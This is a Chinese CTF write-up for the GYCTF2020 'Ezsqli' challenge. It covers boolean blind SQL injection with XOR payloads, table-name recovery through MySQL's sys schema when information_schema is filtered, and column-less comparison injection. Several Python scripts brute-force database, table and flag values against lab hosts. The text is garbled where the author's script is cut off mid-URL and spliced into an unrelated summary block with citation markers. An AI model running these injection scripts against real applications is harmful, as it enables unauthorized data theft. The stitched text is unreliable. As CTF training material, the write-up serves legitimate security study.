[GYCTF2020]Ezsqli

本文探讨了在面临信息_schema过滤和无列名注入限制时,如何通过ASCII字符比较和构造巧妙payload,绕过SQL检查,实现数据获取。作者分享了两种方法,并展示了如何利用ASCII顺序和位操作进行有效渗透。

在这里插入图片描述

1  Nu1L
2  V&N
3  Error Occured When Fetch Result.
2-1  Nu1L
1 or 2  SQL Injection Checked.

Fuzz一下,507就是被过滤了的

在这里插入图片描述
在这里插入图片描述
翻翻以前的笔记,之前记过information_schema被过滤了和无列名注入的一些方法

----------------information_schema过滤与无列名注入----------

1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))=117)^1

利用sys.schema_table_statistics_with_buffer这个拿到表名,但是拿不到列名,所以考虑无列名注入

import requests
import time

url = 'http://f638604e-e401-41e9-8510-ef431e97daf2.nod
攻防世界中名为 ezsqli 的题目相关信息如下: - **[BUUCTF WEB Ezsqli]**:这是一道 SQL 注入题,打开场景有一个查询框。经查询,1、2 是两条有效数字,0 和其他的都是非法输入,1+1 成功回显 2。该题是布尔型回显,异或符未被过滤,布尔类型常用的 substr、ascii 函数也未被禁用,可进行数据库爆破。还给出了爆破数据库的 Python 脚本,通过二分法不断尝试字符的 ASCII 值来获取数据库名 [^1]。 ```python import requests import time if __name__ == '__main__': url = 'http://6c6f5e05-7691-4510-86f0-317b1201b01d.node4.buuoj.cn:81/index.php' payload1 = '(select database())' flag = '' for i in range(50): l = 0 r = 255 mid = (l + r) // 2 while (l < r): response = requests.post(url=url, data={"id": "0^(ascii(substr({},{},1))>{})".format(payload1, str(i + 1), str(mid))}) if 'Nu1L' in response.text: print("小了") l = mid + 1 else: print("大了") r = mid mid = (l + r) // 2 time.sleep(1) flag += chr(mid) print(flag) ``` - **[GYCTF2020]Ezsqli**:可利用上一题脚本的两个 payload 得到该题的数据库及表名。payload 还可写成 `^(ascii(substr((select(database())),%d,1))>%d)^1` 的形式。此外,该题涉及无列名注入的另一种方式(不需要 union,join)——ascii 位偏移,并给出了相应的 exp 脚本 [^2]。 ```python import requests url='http://9640761b-a0fc-457b-bf37-592af5e65e5c.node4.buuoj.cn:81/index.php' payload='2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))' flag='' for j in range(200): for i in range(32,128): hexchar=flag+chr(i) py=payload.format(hexchar) datas={'id':py} re=requests.post(url=url,data=datas) if 'Nu1L' in re.text: flag+=chr(i-1) print(flag) break ``` - **[ezsqli(GYCTF - WEB)]**:题目过滤了 or 和 union,无法使用 Information_Schema.Tables,之前常用的 innodb_table_stats 和 innodb_index_stats 也无法使用。可参考 Alternatives to Extract Tables and Columns from MySQL and MariaDB 文章用 sys 来查找表名,还给出了列名查找的脚本 [^3]。 ```python import requests import string url = "题目url" def exp1(): str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','') flag = '' select = 'select group_concat(table_name) from sys.x$schema_flattened_keys' for j in range(1,40): for i in str1: paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i) #print(paylaod) data = { 'id': paylaod, } r = requests.post(url,data=data) if 'Nu1L' in r.text: flag += i print(flag) break if __name__ == '__main__': exp1() ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值